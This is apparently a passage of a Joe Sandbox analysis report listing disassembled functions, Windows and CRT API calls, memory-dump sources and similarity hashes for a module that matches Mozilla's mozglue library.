Part of subcall function 6CB6F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB6F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB80D40
free.MOZGLUE ref: 6CB80DCB

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

free.MOZGLUE ref: 6CB80DDD
free.MOZGLUE ref: 6CB80DF2

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: cbdfd8c51f13e735f06cf3e950910dbd4451193dda03652eaec5d05d692619d1
Instruction ID: a74ed54e3144c62026bbbfcfa3ded138a2b0c158128160fa35351f061c269af1
Opcode Fuzzy Hash: cbdfd8c51f13e735f06cf3e950910dbd4451193dda03652eaec5d05d692619d1
Instruction Fuzzy Hash: DD410771A0A7949BD320CF29D0807AEFBE5FF89754F508A2EE8D887751D770A445CB82

Function 6CB8CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CDA4

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

Part of subcall function 6CB8D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB8CDBA,00100000,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D158
Part of subcall function 6CB8D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB8CDBA,00100000,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CDC4

Part of subcall function 6CB87480: ReleaseSRWLockExclusive.KERNEL32(?,6CB915FC,?,?,?,?,6CB915FC,?), ref: 6CB874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8CECC

Part of subcall function 6CB4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB4CAA2

Part of subcall function 6CB7CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB8CEEA,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000), ref: 6CB7CB57
Part of subcall function 6CB7CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CB7CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB8CEEA,?,?), ref: 6CB7CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?,00000000,?), ref: 6CB8D058

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 12425e788af03de4db57a0690c30b8bb1511b578e4b5ad2711debf172dc0370b
Instruction ID: 43c131f57a84928d61b603f16b51c3680e09c45e7e718a007ab64fadaa588d0c
Opcode Fuzzy Hash: 12425e788af03de4db57a0690c30b8bb1511b578e4b5ad2711debf172dc0370b
Instruction Fuzzy Hash: FBD15F71A05B469FD708CF38C490B99F7E1FF89308F01866ED95987711EB31A965CB81

Function 6CB41720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CB418EE
free.MOZGLUE(?), ref: 6CB41911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4194C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 51cbde137a4f41f44cf77708e9d6994256c9b97902daefbc9218590b51acad24
Instruction ID: e75403e1eef766a0da926f130f00eb4a3d33aa46ec932348825e56cc8208e678
Opcode Fuzzy Hash: 51cbde137a4f41f44cf77708e9d6994256c9b97902daefbc9218590b51acad24
Instruction Fuzzy Hash: CE81E670E152559FDB08CF68D8C45AEBBB1FF89310F08852CE855AB758D730E855CBA2

Function 6CB55C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB55D40
EnterCriticalSection.KERNEL32(6CBBF688), ref: 6CB55D67
__aulldiv.LIBCMT ref: 6CB55DB4
LeaveCriticalSection.KERNEL32(6CBBF688), ref: 6CB55DED

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 6d6dd3331f88f7bf00482f58405ddd5f6eeaf10e718c42b930ad1ab88f7376b7
Instruction ID: d6b19a5d66eb3c369c2f7bb1394508bdaf5312014224dffe84df8236c248a6c4
Opcode Fuzzy Hash: 6d6dd3331f88f7bf00482f58405ddd5f6eeaf10e718c42b930ad1ab88f7376b7
Instruction Fuzzy Hash: FA51717AE001AA8FDF08CFA8C854ABEBBB1FF85304F594619D811A7750CB306945CB94

Function 6CB3CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB3CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CB3CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CB3CF4E

Strings

0, xrefs: 6CB3CF30

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 1a61231bddbcef2aaa454052e1555c7d892ac92298ba3fd53098e31ee98ca39a
Instruction ID: 8992c8f5648723626e92bf80eb52a1168e6f419f11f10bbb75de7428cc3f3e70
Opcode Fuzzy Hash: 1a61231bddbcef2aaa454052e1555c7d892ac92298ba3fd53098e31ee98ca39a
Instruction Fuzzy Hash: 52510475A042A68FCB00CF58C890A9AB7B5EF99304F19869DD8595F391D731FD06CBE0

Function 6CB977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB97829

Part of subcall function 6CB6CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CB331A7), ref: 6CB6CC45
Part of subcall function 6CB6CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CB331A7), ref: 6CB6CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB9789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB978CF

Part of subcall function 6CB34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB34E5A
Part of subcall function 6CB34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB34E97

Part of subcall function 6CB34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB73EBD,6CB73EBD,00000000), ref: 6CB342A9

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: f90e45941c41750cbeaed95374c7d041343deeaea113429b527b3ed32795c16d
Instruction ID: 78b8ca81ff45d05ecff7f05d2e42fcff3454407833e6ae6c14ab68f60780d97d
Opcode Fuzzy Hash: f90e45941c41750cbeaed95374c7d041343deeaea113429b527b3ed32795c16d
Instruction Fuzzy Hash: 8941BC719087869FD300DF29C48056BFBF4FF8A214F204A2EE4A987640DB70E559CB92

Function 6CB76470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB782BC,?,?), ref: 6CB7649B

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB764A9

Part of subcall function 6CB6FA80: GetCurrentThreadId.KERNEL32 ref: 6CB6FA8D
Part of subcall function 6CB6FA80: AcquireSRWLockExclusive.KERNEL32(6CBBF448), ref: 6CB6FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB7653F
free.MOZGLUE(?), ref: 6CB7655A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 7dd0573489f78da39eb9105f43bdc1cbe6dc50f1b84d0c21986a6d78958a62d9
Instruction ID: 6ff435654f00cc925e2fef344d3c7c1158c4e32d41bf56d70cb5fb8022d5eb78
Opcode Fuzzy Hash: 7dd0573489f78da39eb9105f43bdc1cbe6dc50f1b84d0c21986a6d78958a62d9
Instruction Fuzzy Hash: 8E315EB5A043459FD704CF14D884A9EBBF4FF89314F00442EE89A97751DB30EA19CB92

Function 6CB6FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB8D019,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?), ref: 6CB6FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB8D019,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?), ref: 6CB6FFF5
free.MOZGLUE(?,?,?,?,?,6CB8D019,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?), ref: 6CB7001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB8D019,?,?,?,?,?,00000000,?,6CB7DA31,00100000,?,?), ref: 6CB7002A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 0523fe9976ed38930e9065c6c6295e5870956f3a85d727eb5e99ac6e9e27e2b6
Instruction ID: 173e34979ed98d25cc4813f23aa82f3e914484e0abe57986dcd6f904ab6b8f31
Opcode Fuzzy Hash: 0523fe9976ed38930e9065c6c6295e5870956f3a85d727eb5e99ac6e9e27e2b6
Instruction Fuzzy Hash: BF21D6B2A002555FCB189F79DCD48AFB7BAEB853247250738E825D7780EA71AD0187E1

Function 6CB4B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB4B4F5
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4B502
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB4B542
free.MOZGLUE(?), ref: 6CB4B578

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b8beb37477d7aa227ff833709fa96c3416a4661455d2ef08ca584da206df769a
Instruction ID: db9e8fe54aeea7d525077e98c0e98019a97e0c90d069eae8ddc365212fc076ea
Opcode Fuzzy Hash: b8beb37477d7aa227ff833709fa96c3416a4661455d2ef08ca584da206df769a
Instruction Fuzzy Hash: DD110339A08F85C7D7128F29C40076AF3B0FF9A318F10970AE94953A02EFB0B9D48795

Function 6CB73DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CB3F20E,?), ref: 6CB73DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CB3F20E,00000000,?), ref: 6CB73DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB73E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB73E0E

Part of subcall function 6CB6CC00: GetCurrentProcess.KERNEL32(?,?,6CB331A7), ref: 6CB6CC0D
Part of subcall function 6CB6CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CB331A7), ref: 6CB6CC16

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 695e93fad54ff604880b99001dc74fa2380175a4ee460996f0b38120e7070631
Instruction ID: b2be4b8b39fcd18d42a4a06dc5a52f19af466367729c774e3c6e0842ed66a7ec
Opcode Fuzzy Hash: 695e93fad54ff604880b99001dc74fa2380175a4ee460996f0b38120e7070631
Instruction Fuzzy Hash: 77F012B56002487FDB00AB54DC81DAF376DDB46628F040024FD0857741DA76BD2986FB

Function 6CB820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CB6FBD1), ref: 6CB820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CB6FBD1), ref: 6CB820DA
free.MOZGLUE(00000000,?,6CB6FBD1), ref: 6CB820F1

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: aab2fbd4274b62f08d4b3eabdd0c9c8b2a40d814ab20f166ffa3bbbc52541625
Instruction ID: 09f5f6b8e34637b62ff9b5b72e63d10f5c5329e50dd8c47de9d2c181e722e8ef
Opcode Fuzzy Hash: aab2fbd4274b62f08d4b3eabdd0c9c8b2a40d814ab20f166ffa3bbbc52541625
Instruction Fuzzy Hash: 13E0E5356016148BC2209F25D84854EB7FDEF86214B10062AF44683B00DB75B54A8ADA

Function 6CB885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB885D3

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB88725

Strings

map/set<T> too long, xrefs: 6CB88720

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: b5c3016fbac4d9def6f3a67b83765d5086394a251a63f35532a15eec906cb9c6
Instruction ID: 476b77c864ab10f7af2531b425575f5cc7b9c1918510fdb68ab4db1742c943c2
Opcode Fuzzy Hash: b5c3016fbac4d9def6f3a67b83765d5086394a251a63f35532a15eec906cb9c6
Instruction Fuzzy Hash: F3518674602681CFC701CF18C084A5ABBF1FF5A318F18C28AD8595BB66C736E885CF92

Function 6CB3BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CB3BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3BE8F

Strings

0, xrefs: 6CB3BE5B

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: f5255ffe87ffc88d0c5ab0536668bf99cbbab319b9d5f0f208bec6e4370c8f6a
Instruction ID: 2299c921c670bf4bb6b56310f011c84282bf4f95a20caa70fb0ba1d6bf4677d1
Opcode Fuzzy Hash: f5255ffe87ffc88d0c5ab0536668bf99cbbab319b9d5f0f208bec6e4370c8f6a
Instruction Fuzzy Hash: 7E41AF71909BA5CFC701CF29C481A9FB7F4EF8A348F005A1DF989A7655D730E9498B82

Function 6CB73CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB73D19
mozalloc_abort.MOZGLUE(?), ref: 6CB73D6C

Strings

d, xrefs: 6CB73D58

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 188987dcbb60407e6b029aeaa4764aea0b506fce2156dc3fa1bd65e1ebffd0d0
Instruction ID: e6f9f7550ca8d2d010609528f1b80bb328bba80292cdf2b91ade90a3f7ba5834
Opcode Fuzzy Hash: 188987dcbb60407e6b029aeaa4764aea0b506fce2156dc3fa1bd65e1ebffd0d0
Instruction Fuzzy Hash: 01112331E047D8DBDB108BA9DD154EEB775EF86318B448219EC959B612FB30A5C4C3A0

Function 6CB44730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB444B2,6CBBE21C,6CBBF7F8), ref: 6CB4473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB4474A

Strings

GetNtLoaderAPI, xrefs: 6CB44744

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 676cf301628825b7b2347443c4cea6e5a4f706939df9410a5c24289e2c1556a0
Instruction ID: ac7cae7a5782c829f2038bec58755588b3dd319442108e470aec40401fc957f5
Opcode Fuzzy Hash: 676cf301628825b7b2347443c4cea6e5a4f706939df9410a5c24289e2c1556a0
Instruction Fuzzy Hash: 8E01B1793042989FDF009FA6D89462D7BF9EB8B311B054469E906C7310CF74E8028FA6

Function 6CB96DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB96E22
__Init_thread_footer.LIBCMT ref: 6CB96E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB96E1D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 8f49ff496f11258a29707a2723d1089a8e4e301575e55aba5dbd785e46d3605e
Instruction ID: 2945795d58d89bd108549bb3c621bd9ddbc2547dac6762b79b5d464c36f9526a
